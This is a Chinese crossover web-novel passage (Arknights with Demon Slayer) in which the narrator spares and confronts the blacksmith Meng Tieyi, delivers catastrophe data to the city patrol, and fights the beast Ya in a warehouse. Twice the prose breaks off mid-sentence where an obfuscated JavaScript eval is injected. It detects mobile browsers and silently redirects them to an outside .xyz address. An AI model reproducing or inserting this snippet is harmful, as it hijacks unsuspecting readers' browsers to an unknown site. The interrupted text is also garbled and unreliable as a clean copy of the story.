语毕,他便提着铁锤冲上来,速度之快几乎无法让人与其粗犷的外貌联系起来。仓库内光线本就不好,货架间空隙也小,鬼舞辻无惨被对方擅作主张的话惹得有些不耐,抬手欲直取人性命,我又抓住他的手按下,一路后退。 “孟铁衣是剧情关键角色,不能杀。”我向投来质疑目光的无惨解释,他毫不犹疑的抛回来一个回答。 “那就变成鬼,更省事。” 我躲避着雨点般砸下的铁锤,锤风削去我鬓角的一缕发丝。根本来不及多想,我在听见无惨这么说的第一刻就下意识大声喊道:“不可以!我就是要他像现在这样活着的呀!”这话声音太大,语意也怪,传到孟铁衣二中,听得他也面露疑色,但仅是犹疑一瞬,便继续攻来。 他的攻击压根不像自己说的那样“不想伤人”,被那柄重锤砸中胳膊腿十有八九要骨折,剧情中他更是用那锤子直接砸烂过几名山海众的头颅。这般老江湖光是肉眼看很难分辨他是否真动了杀心,又或者会在适当的程度停手,这会儿可是没有半点容错可言。 “孟前辈。”我好声好气循着江湖规矩喊了他一声前辈,“孟前辈,不要这般动怒,我们今日从未来过铸剑坊,也没有与您交手,您看这样如何?” 他却是一点都不肯松口,手中动作未慢分毫,只说:“姑娘,你与你的朋友都拿着那件你们万不可发现的天才数据了,我怎可再顺着你的话装糊涂呢?” 孟铁衣眼见我们已退至仓库后墙,稍稍放缓了些脚步,双手握住锤柄,定定地看过来。 “说实话,我也看出来了,你和你那朋友,大约也并非常人。”他看看无惨,又看看我,目光落点不在我脸上,而是头顶,“昨日城门口见你还是个菲林小姑娘,今日怎又变成了卡普里尼?孟某是上了年纪,可记性不差,更不是傻子,同一张面孔,两日不同种族,此事一般人可做不到啊。” 这我确实无法反驳。不同于卡西米尔骑士竞技的赛场,那里尚且还能将盲盒带来的种族特征变化当作赛场演绎的一部分,但玉门是军事重地,别说孟铁衣了,我今天顶着这对羊角与昨日见过的巡防营士兵见面,八成也得被问话。 “我曾听闻一种魔族善于变为他人模样,可以模仿任何种族,想来或许你就是他们之一,连同你这位朋友。”孟铁衣语气猛然一沉,像是咬着无数恨意说,“二十年前,那些山海众混入玉门作乱,自那以后玉门官民间有了隔阂,如今这些贼人又想来破坏玉门,我原以为最麻烦的是那群贼人中为首的高大女子,却不想还有其他……罢了,想来你们与那女子大约也所出同源,既为玉门敌人,我就都不会放过!” 他不由分说地将我们直接归入敌人的范畴,高举铁锤就要冲上来挥砸,我看准时机脚下一动,【钙质化】的减速效果立即施加在他身上,接下来不等他后退,鬼舞辻无惨抬腿踢在他的右肩。 我相信无惨还是收了些力气,否则孟铁衣整个人早就该飞出去殒命了。泰拉人身体再怎样强于地球人类,也不可能只凭肉身抗住鬼王全力一击。当然孟铁衣肩膀处也是传来清脆的骨头碎裂声,握锤的手最终脱了力,锻造锤落地砸出巨大声响,回荡在仓库内。 唉,纯粹的数值带来纯粹的强大。 我没少在心里骂孟铁衣这老祖宗真会脑补,也骂了不止一次真是个固执的一根筋。如果他真的要强行留我,扣押到两天后,在给出真实的天灾数据同时释放我,我若是自己一人在此,真不敌他也顶多只会一怒之下怒了一下。毕竟剧情中确实有更重要的、真正的敌人,但无惨的话…… 如果刚才我没躲过那一掌,被打晕过去,那孟铁衣现在不是变成尸体就是变成鬼了……我只觉得无惨完全会在怒意中这么做,更何况这姓孟的还擅自说了一大堆打探我们真实身份种族的话,这么想这祖宗真是个大麻烦啊! “孟前辈真是……” 孟铁衣是由于二十年前那次事变才袭击、软禁天灾信使队伍,致使玉门错过调转方向撤出天灾影响范围的时机,他的目的更是单纯:通过一次天灾,让玉门的官军、江湖人士再度团结起来。 为了他记忆中的那个玉门,他不惜让整座城邦险些被源石沙尘暴摧毁,而在他的计划中,自己也将在最后与那些山海众同归于尽,为二十年前的仇恨做清算。 “开什么玩笑呢。”想到这里,我是有些忍不了了,不顾孟铁衣正在看着,直接调出「八房」,让两个傀儡去仓库门口守着,剩下几个一起包围了孟铁衣。 刀尖直指孟铁衣鼻尖,我冷下脸,也懒得再客套:“孟铁衣,你想用这场天灾,让玉门官民重新团结,但你有没有想过后果?” “玉门城邦会受到严重损害,甚至可能被摧毁大半,但那又如何?玉门千百年的历史上也不是没有遭受过重创,但只要能重回上下一心的时候,又何必担心玉门无法被重建!”肩部的内伤让他有些踉跄,说话中也带着沉重的喘息。 “因为玉门是……”玉门是炎国专门建造出来,用以有朝一日岁兽危机卷土重来,能与其抗衡,乃至以整个城邦作武器与岁兽战至最后的堡垒。但我不能说,这是炎国的机密,若非看过剧情,我也不会知道,所以更不可以告诉孟铁衣。 到最后只有一声叹息。 二十年前的山海众作乱只是表象,玉门江湖武人说驻守管理玉门的左宣辽左将军因此疏远武人,实际上身处朝堂的人才知道炎国面临的岁兽威胁。玉门是可能要与岁玉石俱焚,此次望烽节后本就预定了一路赶回京城的行程,届时所有居民都会在沿途城市逐渐疏散。 岁兽之事乃机密不可告人,因此人们不知缘由,便只会觉得左宣辽不念旧情,但这些侠士都是肝胆相照之人,即便不顾机密坦诚告诉他们真相,他们也只会更誓死留守玉门,一同迎战岁兽。 这是个两难的问题,而最终也只能使像人们看见的这样:左将军变了。 “可你就没想过,现在的玉门里,有的不仅是官军和江湖侠士,还有未曾参与过江湖恩怨,只努力过着自己生活的普通人?还有无数城邦对接前来的商人、游客,你凭什么拉着他们一起,为你放不下的回忆买单?” 长久的沉默后,孟铁衣叹口气说:“是孟某对不住他们,但此事,我也不会改变想法,你若要在此取孟某性命,那请便吧。” “所以我讨厌这种话啊。”我低声喃喃一句,嘁了一声,收刀入鞘,自上而下俯视着他,“自说自话地招来天灾,又自说自话地想替别人原谅自己,你凭什么啊?” 「八房」被我放在一边,沉闷的声响过后,孟铁衣后退几步,几滴鲜红从他鼻腔中淌下。是我打的,没有用任何武器,也没有附加源石技艺,只是一拳直冲他的正脸,即便这拳打得我自己的手都有些发麻。 我讨厌这种自我感动,讨厌这种觉得自己即便做了许多过火的事,但只要最后杀敌战死“以死谢罪”,就能算作赎罪。做错的事就该自己偿还,导致的结果就该自己负责,一死了之除了逃避责任,什么都不算。 “姑娘真是后生可畏,但若今日你不杀我,那我便不会让你们带着天灾数据离开铸剑坊。”孟铁衣面对我的怒火,只是苦涩地笑笑,站在原地像是等着最后的时刻,“只可惜最后不能杀几个贼人给玉门祭旗,实在遗憾。” “我说了我讨厌这种自以为是的话,你他妈的听不懂人话吗!” 怒吼又一次在仓库内传出回响,孟铁衣一言不发。 我步步向前,抬头看着这个比我高出不少的老铁匠:“你以为自己什么都知道,以为自己是为了心中的大义?玉门城被天灾毁了以后只会有无数人流离失所,贼人只会更容易浑水摸鱼,哪里还有你要的江湖?说得那么好听,什么和山海众贼人同归于尽,给玉门祭旗,用一场天灾把几十年来玉门人的建设成果破坏掉,算什么‘为了玉门’?你这个自私的混账。” 我自认是个情绪稳定的人。至少大部分时候,我不会因为虚拟作品角色的言行而感到过于愤怒,但眼下就是个例外。 剧情中杜遥夜当然也骂过孟铁衣:凭什么用这样解脱的语气说出来一切,就因为没有人真正在这次事件中丧命,所以觉得一切还在掌控之中? 游戏剧情的文字映照在脑中,从唇齿间同步吐出:“你凭什么因为自己觉得玉门不再是从前的玉门了,就引一场天灾来考验它?” 尽管我知道和他说什么都没用,如此执拗的人只会一条路走到黑,走到自己生命尽头,但我还是要再说一遍,做了错事,在真正担起责任偿还、道歉之前以死谢罪,没有任何意义。我讨厌将死亡当作弥补愧疚的方式,除了自我感动和逃避责任以外,它根本一无是处。 “你对得起谁了,孟铁衣?” “孟某只是一届武人,不懂那么多,但如果你非要求个答案,那我也……”孟铁衣的声音渐小下去,伴随着他的突然爆发,声音也一下放大吼出来,“问心无愧!” 被放在一旁的铁锤又被一把抓起,自下而上抡起锤风,向着我的下颚而来。这一击像是用了孟铁衣全身的力气,事实上肩骨受到严重损伤的他应该无法用力握拳,但积攒多年的对山海众的怨恨让他被我问出了怒意,这下是毫不留情地直奔我命门而来。 被锤中的话下颚绝对会粉碎,连带着头骨也基本废了,我下意识抬手将太刀横拦在身前,铁锤与刀刃相撞,震得我虎口发麻,好在冲力之下我退出了他的攻击范围,而孟铁衣本人喘着粗气看过来。 “虽然比预想中提前了几天,但现在给你们送去军营,也无妨。”他用铁锤撑着身子,笑得坦然,“我算过日子,即便今天把数据送过去,玉门也避不开这场天灾了。至于我嘛,你若是想泄愤,那孟某就这一条命。” 原来今天拿着真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679169|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数据给巡防营的天灾学者也已经来不及了吗……亏我还担心过度提前会破坏后续所有剧情的时间线,果然玉门这么大的城邦还是不可能在两天内规避天灾。 普通城邦面对这般紧急情况时可以选择拆分城邦区块,但玉门办不到;拆分、疏散、重组,这些工程耗时巨大,会大大耽误城邦之后回京赶赴岁兽之事。但是话又说回来,现在的剧情时间点是1102年的年初,后续有一段同年秋天的剧情发生在炎国的京城百灶,现在想来,若非此时的玉门硬抗天灾而延误半年行程,之后的百灶局势也会受影响,岁兽之事的解决就少了很多周旋空间。 所以我先前也只是担心提前将天灾数据交给巡防营而产生的蝴蝶效应,早说没有影响的话,我何必纠结这些呢。 至于孟铁衣本人,我本来也没想杀他。 他必须活着,然后向驻守玉门的官军和江湖人士道歉,必须活着为他做过的一切负责。 “就当做个交易吧,孟铁衣。”我将「八房」收入鞘中搭在一边的货架上放好,只拿着写有天灾数据的纸张,在手中晃一晃向他展示诚意,“这些数据我明天会送去巡防营,暂时不告诉他们是你策划的袭击,希望你也能暂且守住秘密,这两日那群山海众会想来杀你灭口,到时候我也会来的。我们的目标是一致的,对吧,你讨厌山海众,我也要收拾他们,就这么简单。” 孟铁衣到这时一言不发,因为看不清我态度转换的原因,并没有立刻答应。 【钙质化】的技能CD已经重新转好,我重新展开了一次银白色的源石技艺力场,这次被包含在友方单位中的孟铁衣得到了技能的治疗效果覆盖,肩部的损伤缓慢修复。他活动了一下肩膀,确认伤口已经完全修复。 我卷起天灾数据,重新捡起方才被鬼舞辻无惨丢在旁边的装数据的盒子,不过看上去被外力损坏了,应该是不能用了。放弃了用其他容器装这些纸张,我重新看向对面的孟铁衣:“把你的命留好,我可不稀罕,但我要你活着,等一切结束后去向玉门的军民道歉,向宗师——重岳先生道歉。” 在听见重岳的名字时,孟铁衣眸光暗了暗,自觉局势无法掌握在自己手中的他问了我最后一个问题:“你们的目的是什么?” “没什么目的,看你不爽罢了。”我拿回放在一边的太刀,收入装备栏中,“我们会再来的,别死在山海众手里了,孟前辈。” 从铸剑坊离开后走出一段距离,我一直在想着之后的剧情,直到鬼舞辻无惨叫住我,我才意识到方才一段路始终保持着沉寂。 哦,我好像还没有告诉他剧情的细节。 “真有这么生气?平时可没见过你这样,这种事居然值得你露出这副表情。”他略显玩味地看着我的面孔,似乎想从我脸上看见更多微表情的变化。 我望向他的双眸,看进那片红色的深潭,那里有使人心情平静的神秘魔力。必须承认的是,我焦躁的心情在看着无惨的这会工夫已经慢慢平复下来,只是回答他问题的答案不会变:“确实生气,因为他在剧情里做的事是我特别讨厌的那种嘛。至于你说的‘值得’,一个人守着自己早已不会复现的回忆,为了旧日的一场梦引来天灾,这也是我无法容忍的事。” “那你在乎的事也太多了。”无惨嘴上说着,面上倒是没有怒色,“总是摆脱不了低级的情绪波动,你只会让自己痛苦,也迟早因为这种弱点害死自己。” “那么,这是建议吗?” “只是提前声明,我不希望你的情绪在未来某个时刻成为绊脚石,别自以为是。” “没事的,这不是有你在嘛。”我就当作是他给我的建议了,如果用百分百理性的思维来看,人确实应该时刻保持冷静,在这样的快穿背景下也确实应该用收益最大化的思路做事,“如果我真的上头到那种程度,你会来叫停的不是吗?” 既然他是那个大部分时候都更理性的人,那我相信他的判断和决策,这种事也自是不用担心。在这类任务系统中,他永远会是头脑最明晰,永远保证任务效率的那个,我这样告诉他。 当然没告诉他的是这话的潜台词有个意思,只要他没发出停止意向的命令,我会偶尔、或者经常性地做些手欠嘴欠的事。 原因无他,唯有趣尔。 鬼舞辻无惨也没有对我将天灾数据交给巡防营有什么意见,或者说,其实我从他脸上读出了点对天灾场面的期待。我只在上次来泰拉时和他提起过这里的天灾远比地球上的更严峻,他在读过那些数据后像是来了些兴致,大约只有这种异世界的特有产物——还是大规模天灾这种级别的——才能让他在第二次来时不那么无聊。 然后我突然想起来,并向他推荐了那本《大地巡旅》。我说那本书是了解泰拉的最佳参考资料,记录着包括自然资源、地质环境、各国文史和各个种族的信息。 “这本书……我差点就忘记了,你何时在手机上下载的这本书,还给灶门炭治郎那小子看了?”他突然提起这个话题,我顿时有种莫名的心虚。 “之前看见可以购买电子版,于是就顺手买了哈哈,这实体书特别厚重不方便携带的。” 我避开话题的尝试失败了。 “很努力的辩解,但需要我提醒你吗?我都不知道你居然同意那小子拿着你的手机随便阅览。” “对对对不起我回去就给你发一份啦!” 38. 第 38 章 “虽然说是谈好了今天取那斧头,但我估计这事吹了。” 前一日经历了集市大战山海众和铸剑坊仓库对峙孟铁衣,大体上也勉强算平安无事,当下的玉门就如同城外那片正在积蓄能量的天灾云,暗流翻涌着只待倾泻而出的时刻。 白天暂时无事可做,总是待在客栈房间内也无趣,我便找了大堂角落的位子,拉着鬼舞辻无惨和灶门炭治郎都在这坐着,给他们慢慢讲剧情。 说来也巧,昨天和无惨去铸剑坊走了一圈,晚上返回客栈时在铸剑坊不远处的小巷口听见打斗声;人是按捺不住好奇心的生物,我当然也是普通人,自然就拽无惨一同进去查看情况。不看不知道,这巷子里偏正好是大理寺的太合在与山海众作战,他的武艺与操控土石的源石技艺完全压制着一众贼人,但我对这段剧情也有印象,敌方头目马上会显身击倒太合,而按剧情描写,对方出手狠辣到两击便伤得太合命悬一线,实在是令人乍舌。 于是我就顺便搭了把手,在太合被偷袭之前拦下了马上要挥下一刀的睚。睚和山海众等人自然也认出了无惨和我,短暂的交战过后,自认不是无惨对手的睚带着信徒离开了。 “这片大地分明该是属于我们的乐土,你为何站在那群蝼蚁那边?”睚离开时抛下这句话,似乎的确把无惨也当作了巨兽之一。 当然,本尊对这种莫名其妙的指控只感到一头雾水。 “总之就是这么回事,剧情中他被重伤,又正好倒在铸剑坊附近,所以左乐——就是昨天集市里我们帮的那个小伙——心急之下直接冲去铸剑坊追查,又正好撞上要灭口孟铁衣的山海众,顺便还有听见动静想去帮忙的武人。”我喝了口杯中的茶,“因为太‘正好’了,所以左乐认为那些武人与贼人可能有所勾结,便下令拘捕当时在铸剑坊内的所有人,顺便查封了铸剑坊。” 我也是昨夜撞见太合时才意识到,其实这趟玉门之行没有比上次在卡西米尔悠闲到哪里去,今天去铸剑坊肯定是拿不到货了。话说集市也有摊贩售卖不开刃的兵器模型,要不干脆在那里买两把刀,至少形状上是灶门炭治郎用得顺手的。 “白夜小姐,您说鬼舞辻无惨他将一个人变成了鬼,在这个世界……”尽管我模糊了一些细节,但灶门炭治郎在听见那逃跑的山海众的结局时就眉头紧蹙,耐着性子听我讲完后终于指出了自己的问题。 我心说还是不该说到这件事的。 毫无疑问这么做确实不厚道,让无惨把一个转化的鬼放在玉门,即便按他的说法,泰拉人和鬼血的结合成果差到离谱,那鬼也迟早会伤人。其实我也抱着一点侥幸心理,想着或许那家伙伤人之前就会被巡防营发现从而抓捕,所以也没多管。 而且说到底那人本来做的就是不干净的勾当,之后的战斗中遇上了也会打个你死我活,我承认我潜意识中也想过那种人死活都无所谓。 “他要刺杀左乐,你看见了,那一刀刺中的话一个年轻小伙的这辈子就毁了。” 灶门炭治郎顿了顿,看得出来在尽可能保持冷静,但明显未服软半点:“但那也不是他把人变成鬼的理由,万一真有人受伤就来不及了。” 我挠挠头。 好吧,确实是我没考虑那么多,昨天直接进铸剑坊仓库找鬼舞辻无惨,之后又和孟铁衣掰扯了一堆,出来时也没见着那变成鬼的山海众,就没顾上。上一次无惨将人变成鬼是在《OVERLORD》的作品世界中,当时他转化的那人绝对不可能离开纳萨力克大坟墓,换言之就是不会脱离控制,这一次我是真疏忽了。 “而且这个世界的阳光对鬼也没有作用吧,这里的人该怎么处理?”少年看向我的眼中第一次出现失望,我实在招架不住那双深红色眸子,看向坐在一边的无惨征询意见。 无惨从昨夜开始就一直在手机,在我将电子版的《大地巡旅》发给他之后,他就一直在阅览那些内容。我装作不经意从他身后路过,瞄了几眼屏幕上的文章,他似乎对泰拉的源石技术发展很感兴趣,其次就是泰拉各地的自然产物。 然后他注意到我多次在他身后晃悠,骂了我几句。 虽然视线都放在屏幕上,但他大概还是顺便听了一下这边对话的内容,我看向他时他只是漫不经心地说:“那东西完全没有恢复自我意识的可能性,留着也没用,我已经处理掉了。” 沉默在桌上蔓延开。 我的话比灶门炭治郎慢了一步,在他压着火说出“你还是真一点都没变,从来不尊重他人的生命”时,我把自己想说的话默默咽了回去。 明明可以暂时留着,说不定那鬼能凭着残留的本能找回山海众窝点,帮我们抓出几个小头目呢……可惜这个快穿游戏从来没有存档回溯的功能,当着少年漫的正义主角的面说这话我也会让自己的形象变得更糟糕,想来幸好我开口比人慢呢。 “你都听她说了,那人放在人类的标准里也是个该死的家伙,那我稍微拿来用一下又怎样呢?”鬼舞辻无惨短暂地放下了手机,满是不耐地瞪回去,随后目光扫向我,“你昨天不是说要去送那些数据吗?现在就去吧。” “现在?那你跟我一起……” “几张纸而已,你还没有废物到这也需要我陪你吧。”他打断了我的话,便又开始翻阅手机上的文字。 剧情中这些数据是杜遥夜送去巡防营的,山海众也正是知道她拿了数据,才会追杀她。目前倒是没人知道这些数据在我手上,这一路过去倒也确实没什么风险。 于是我起身又看了眼灶门炭治郎,他移开视线低声向我保证:“我知道什么该做什么不该做。” 我再次确认了纸张没有遗漏,找了个布袋将数据装入袋中,出门直奔巡防营去。 “只能说,不出意外的话是没什么意外。” 当然确实没什么紧急情况,只是去巡防营送天灾数据的路上并没有想象中太平,有那么一两个山海众始终在我身后保持着不远不近的距离。但很显然,他们只是为了“排除不稳定因素”才来跟踪我伺机而动的,我手上有真实数据这事,他们绝对不知道,否则等着我的可不只是跟踪这么简单。 该说不说,这群山海众比起卡西米尔训练有素的无胄盟来说还是差了些,我提防得紧,这段路上又没有人多拥挤的路段,他们也一直没找到下手机会。巡防营的士兵盘问了我两句,我再次以罗德岛干员的身份搪塞过去,瞧着那些跟着我的贼人要跑,便把数据往士兵手上一塞,自己也跑了。 所以等我回到客栈的时候,「八房」的傀儡已经添了新的。之前的一部分傀儡已经有所残缺,我和尸体又不可能建立什么深厚感情,自然是追求效率而经常更新储备的。 鬼舞辻无惨和灶门炭治郎之间的氛围怪怪的,看上去不像是吵过架,但也谁都不愿搭理谁——不过他们好像本来就是这样?我问谁也问不出答案,即便是不善扯谎的炭治郎,像是知道自己开口就会露馅,干脆用力摇头表示什么都不告诉我。 “神神秘秘……算了,稍微休息会吧,下午再去一次城南。”我看了一眼手机,时间显示下午两点,剧情中孟铁衣与林雨霞约了申时正,也就是三点在城南五街七坊仓库见面,要开诚布公所有秘密。尽管我昨日先一步拿走了真实的天灾数据,但和孟铁衣的约定中,我让他保持自己的原计划、当我没有去过就好。 昨夜去杀孟铁衣的山海众扑了空,今天也会再去,还有睚也在场,免不了一场恶战。我再次尝试了一下打开系统的商城,依然没有任何反应。 只靠【钙质化】的源石技艺对付睚怕是有点吃力,不过我这趟也只是去捞孟铁衣的命,在场也有不少能人义士,还是不用太担心的。 废弃的无胄盟杀手傀儡至少武器还能用,我就留了下来,在桌边坐好后,我将那把刀递给灶门炭治郎:“西洋刀和日本刀的手感不一样,但有总比没有好,也肯定比其他武器顺手,先拿着这个,下午会遇到人类以外的敌人,要小心。” “那个女人的确不是人类,但也只是比人类强了一点。”鬼舞辻无惨放下手机看过来,“她挥剑的技法,大约只是低级猎鬼人的水平,比不上会呼吸法的剑士,不算难对付的家伙。” “她在剧情里的确只是数值怪,人类里武艺精湛的高手对她的评价和你差不多。”我不禁失笑,喝完杯中有些凉的茶,重新给自己倒了热水,“所以能把她交给你吗?如果你愿意帮帮忙的话,会轻松很多呢。”或许我真的该为此感到高兴,剧情中的睚比游戏关卡内的好对付多了,如果一比一还原关卡内的数值和机制,那才要头疼了。 他淡淡地扫了眼旁边还在摸索新刀的炭治郎,随口道:“让这小子管好自己,我可不想分心去关注他的安危。” “我自己能战斗。” “是嘛,那你可得好好活着,再死掉的话这个世界也崩溃,只是给我们添麻烦。” “好,这事就这么说定了,走吧,去会会这次剧情的BOSS。”我起身喊来掌柜,结了今天的账又续了一天房,大步迈出客栈。 孟铁衣确实守约了,他将空盒子交给林雨霞,本就有重量的木盒一时骗过了她,也骗过了同时来到仓库的山海众。睚向其他山海众发出指令,命他们抢夺林雨霞手中的盒子,自己提着刀去攻击孟铁衣。 当然林雨霞也不是糊涂之人,操控源石技艺对付山海众成员时,几次动作便让她意识到盒中没有传出任何声响。纸张虽轻,却在晃动木盒时也理应有所触感,而盒子里确实也没有任何东西。 她想开口问一旁与睚对峙的孟铁衣,我也正好在此时踹开仓库的门。 “林小姐,天灾数据我在今日早些时候给巡防营送过去了,只是我也想利用信息差引来这些山海众在此缉捕他们,所以没有告诉你,抱歉。”我把先前想好的话术告诉林雨霞,即便我知道精明如鼠王之女,她是不会完全相信的,但现在也不是追问的时机。她打开盒子确认其中空无一物,将木盒丢到一边,向我点头表示知道了。 也不知道这群山海众图什么,睚的命令最初是抢下林雨霞手中的天灾数据,现在盒中没有任何东西、数据已经被交给巡防营这事他们也看见了,却还是向前步步紧逼。想来他们也是打算赶尽杀绝了,认出我与鬼舞辻无惨的山海众成员也看向睚那里征询意见。 睚想抽身来迎战,却被孟铁衣的铁锤拦住。“锤很沉,但不够快。”这是她对孟铁衣武艺的评价,但孟铁衣靠一身狠劲又能短暂地与她打成平手,她确实只是数值怪。 “这孩子刀法不错,让他来帮你。”我对林雨霞指指灶门炭治郎,“他们知道你的法术如何运作,会采取针对措施,但他们不认识他,算半个奇招吧。你找机会撤出去找巡防营来支援,最好能多逮捕几个山海众,能挖出点他们的信息是一点。” 我对炭治郎也点点头,小声叮嘱他山海众成员下手狠辣,且多人行动时远近分工明确,要尤其当心暗箭,必要时先放倒会远程攻击和隐匿身形的敌人。也不知道他听明白没有,我说完意识到自己描述的语句里下意识用了一些游戏术语,总之大体上应该没问题,我也放心把这边交给他们。 「八房」操控尸体傀儡会降低我自身的行动能力,因为我的体质有所强化,所以之前的感觉也不是很明显,但要直接面对一个巨兽,我可不希望这些微小的影响成为致命漏洞。 睚身为巨兽,必定是强于人类的,而孟铁衣又上了年纪,起初的难分高下在攻守交互几个回合后也逐渐分明起来。孟铁衣挥锤的速度变慢了,力度也不如开始,而睚依然轻松地挥着刀,不时举刀弹开对方全力挥击的一锤;那沉重的铁锤与刀刃相撞,只发出清脆的声响,就像双方都没有用力一样。 孟铁衣不愿露出疲态,即便他在应对睚的同时还要打开周围的山海众,愤恨倒成为了他的动力,足以让他咬着牙继续攻击。 “这里的人打得比那个骑士竞技精彩,至少每招都是奔着杀人去的。”鬼舞辻无惨并不打算现在出手,身边有不识趣的试图向他发起进攻的山海众,在迈出第一步的时候就被他手臂化作的狰狞巨口吞下。巨口中传来些许脆响,随后再次张开吐出一点零碎的金属制品,他本人看都没看,只在手臂变回原样后颇有些嫌恶地小声抱怨道:“这个世界的人身上永远是这股源石味,倒胃口。” 还是不要在意这边了。 我没问他打算何时动手,想着反正他有自己的计划,也总归会帮忙推一下剧情,便和他说完“我先过去”后翻上货架朝孟铁衣与睚那边去。 老铁匠对我的出现不是那么惊讶,但还是在余光瞥见我时愣了愣神,我从货架上跳下,二话不说直接展开了【钙质化】。技能向来是早用早回转,这会也顾不上什么对轴,先延缓睚的行动才是上策。 “我说过我会来,你可别死在这了。”发动【钙质化】只能暂时停止攻击保持不动,我站在孟铁衣右后方的位置,算是打了个招呼。 他没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679170|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头,只说了句:“在杀死这群混账贼人之前,我还不会死。”其中夹带了些我熟悉又陌生的玉门行话,冲着对面的睚骂过去,但对方显然也没怎么听懂。 很显然,【钙质化】对睚的效果不是很理想。她的身法本就迅捷,偶尔还会离地悬浮一段再落下攻击,那招裁剪春秋的空间类能力也总是让她不知从何召出几只谛兽扰乱战局,孟铁衣正因为这个原因很难锁定目标全力攻击。更烦人的是在场所有人里最擅长法术攻击的林雨霞正被山海众纠缠着难以抽身,即便有这么多人在场,【钙质化】也还是没拐上法伤。 行吧,反正睚的数值是高法抗低物防,用物理的攻击方式效率还高些。 比游戏内关卡战斗好的一点是,现在的睚很有自信能解决我们所有人,而不是游戏内打着打着因为机制问题而瞬移离开或是阻挡漏怪。现实终究不是塔防游戏,对我们来说只是少了放生流的选择,至于击败一个巨兽化身,这就不是我的任务了。 “孟铁衣,我这招不能连续使用,你注意着点。”我掐着【钙质化】的技能结束时间提醒了一句,恢复行动的第一刻就抽刀劈开旁边扑上来的谛兽。这像狼犬的四足兽类本就是睚的化物,斩断也留不下实体,做不了傀儡。 穿行在货架之间不断发射箭矢的山海众很烦,我眼瞅着孟铁衣还有招架之力,便抽身去清理那边的敌人。记得游戏中描述山海众有窃取控制一部分玉门城防军备,所幸仓库狭小,他们带不进那些难对付的东西。 最后一个用堆起来的石料隐藏自己身形的山海众似乎是负责指挥的,发现他时他还在用听不懂的密语给其他人传讯,我举刀就要刺下,身后先一步窜出去的刺鞭将他捅了对穿;刺入那山海众躯体的管子没有立刻收回,而是像吸取着他体内的血液一般,直到那失去控制的躯体干瘪下去。 我回头看向鬼舞辻无惨,不等我问他这么嫌弃泰拉人的味道为什么还吸收那人血液,仓库的门就被一把推开。杜遥夜接走了自家被劫持的员工后回到这里,骂骂咧咧地闯进来就要和骗了她的孟铁衣清算,当然是也和山海众打成了一片。 差不多了…… 剧情中孟铁衣与睚战至此时已是下风,林雨霞和杜遥夜被山海众围攻时还有人要从背后偷袭那小老虎,自知愧对于杜遥夜的孟铁衣抛出铁锤保护了她,失去武器的他直接被睚从背后砍下致命伤口。 我不会让这段剧情原模原样发生。 系统没有响应,这里做的支线任务多半都不计入积分,我费力做这些也不是想救人,单纯地认为罪人不能一死了之罢了。死亡结局对孟铁衣而言并不是坏结局,但不是我想看到的,既然有能力改变,那我就要让他活着去赎罪。 于是在杜遥夜的骂声与孟铁衣越发吃力的招架中,那柄铁锤被抛出,击飞了靠近杜遥夜的山海众,而睚迅速拉近与孟铁艺之间的距离、要挥下那一刀的时刻,我迎着刀锋冲了过去。 刀锋带过短暂的金光,我的视觉几乎捕捉不到她的动作。 金属碰撞声传入耳中时,握刀的双手已经被巨大的冲力震麻,几乎握不住刀。我庆幸自己加了一重保险,在自己挡下那一击之前还是召出了「八房」里的傀儡,那个卡西米尔无胄盟的刀客,连人带刀一起被劈成了两半,而那之后的砍击落下来我依然扛得吃力,真是不敢想若我自己接下会怎样。 睚的脸上闪过一瞬惊讶,但注意到地上彻底失去行动力的傀儡时终是露出不屑之色,收回刀无言地便要再下第二击。 我接不住第二刀的,这我自己再清楚不过,不仅是我,「八房」大约也扛不住。武器存放在储备空间内达到一定时间后似乎能恢复至完好如初,我先前有注意过,但那也只是在刀身上只有细小损伤的前提下,我可不敢尝试将刀弄断再放进去让空间修复。 躲开?这我也没有把握。睚完全可以捕捉到我的动作,并瞬移至我背后刺出那一刀,更何况我身后没了武器的孟铁衣毫无疑问是她更想杀的对象,现在躲开就功亏一篑了。 有什么办法可以反击……我下意识寻找鬼舞辻无惨的身影,却不知道他去了哪里。林雨霞那边倒是趁这短暂的僵持解决了不少山海众,刚刚能炎国大刀打出点呼吸法架势的灶门炭治郎注意到这边的情况正要冲过来,我当然也不能让他来接这刀,他更无法与泰拉的巨兽抗衡。 睚手中那柄有着奇异雕刻样式的长刀落下的过程变得格外漫长,在这段实则短暂的时间里,我的大脑飞快思考,却找不到更好的办法。 或许我可以直接用身体接住这刀,【钙质化】马上要回转完毕,接下来展开技能就可以及时治疗自己。 耳边响起轻微的电流声,在这种情况下很是突兀。我没有戴那种战术耳机,手边也没有其他电子设备,要说电流声的话…… 【……正在……重新连接……】 电流声伴随着微弱的话音,在此时简直是最值得欣喜的消息,不用多说,我的脑子已经转过来了。 【重新取得……功能恢复……修复完成……】 就像是动作游戏被攻击打僵直后猛戳技能按键好让自己卡着某一帧博到生机,我在心底疯狂呼唤系统,让它开启商店。反复的电流与报错声后,商店页面终于在我面前弹开,陈列着我最需要的商品。 孟铁衣刚取回自己的铁锤,就要推开我来挡下攻击,我没给他这个机会,转身就从他手中夺过锤子,手中抓着自己方才买下的技能石,回头对睚劈下的刀锋笑起来。 